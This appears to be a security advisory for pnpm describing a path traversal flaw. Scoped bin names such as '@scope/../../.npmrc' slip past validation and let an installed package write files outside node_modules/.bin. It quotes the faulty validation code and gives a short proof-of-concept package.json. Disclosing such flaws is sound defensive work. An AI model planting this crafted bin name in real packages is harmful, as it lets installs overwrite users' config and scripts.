pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin

Summary

A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of node_modules/.bin. Bin names starting with @ bypass validation, and after scope normalization, path traversal sequences like ../../ remain intact.

Details

The vulnerability exists in the bin name validation and normalization logic:

1. Validation Bypass (pkg-manager/package-bins/src/index.ts)

The filter allows any bin name starting with @ to pass through without validation:

.filter((commandName) =>
  encodeURIComponent(commandName) === commandName ||
  commandName === '' ||
  commandName[0] === '@'  // <-- Bypasses validation
)

2. Incomplete Normalization (pkg-manager/package-bins/src/index.ts)

function normalizeBinName (name: string): string {
  return name[0] === '@' ? name.slice(name.indexOf('/') + 1) : name
}
// Input:  @scope/../../evil
// Output: ../../evil  <-- Path traversal preserved!

3. Exploitation (pkg-manager/link-bins/src/index.ts:288)

The normalized name is used directly in path.join() without validation.

PoC

1. Create a malicious package:

{
  "name": "malicious-pkg",
  "version": "1.0.0",
  "bin": {
    "@scope/../../.npmrc": "./malicious.js"
  }
}

2. Install the package:

pnpm add /path/to/malicious-pkg

3. Observe .npmrc created in project root (outside node_modules/.bin).

Impact

• All pnpm users who install npm packages
• CI/CD pipelines using pnpm
• Can overwrite config files, scripts, or other sensitive files

Verified on pnpm main @ commit 5a0ed1d45.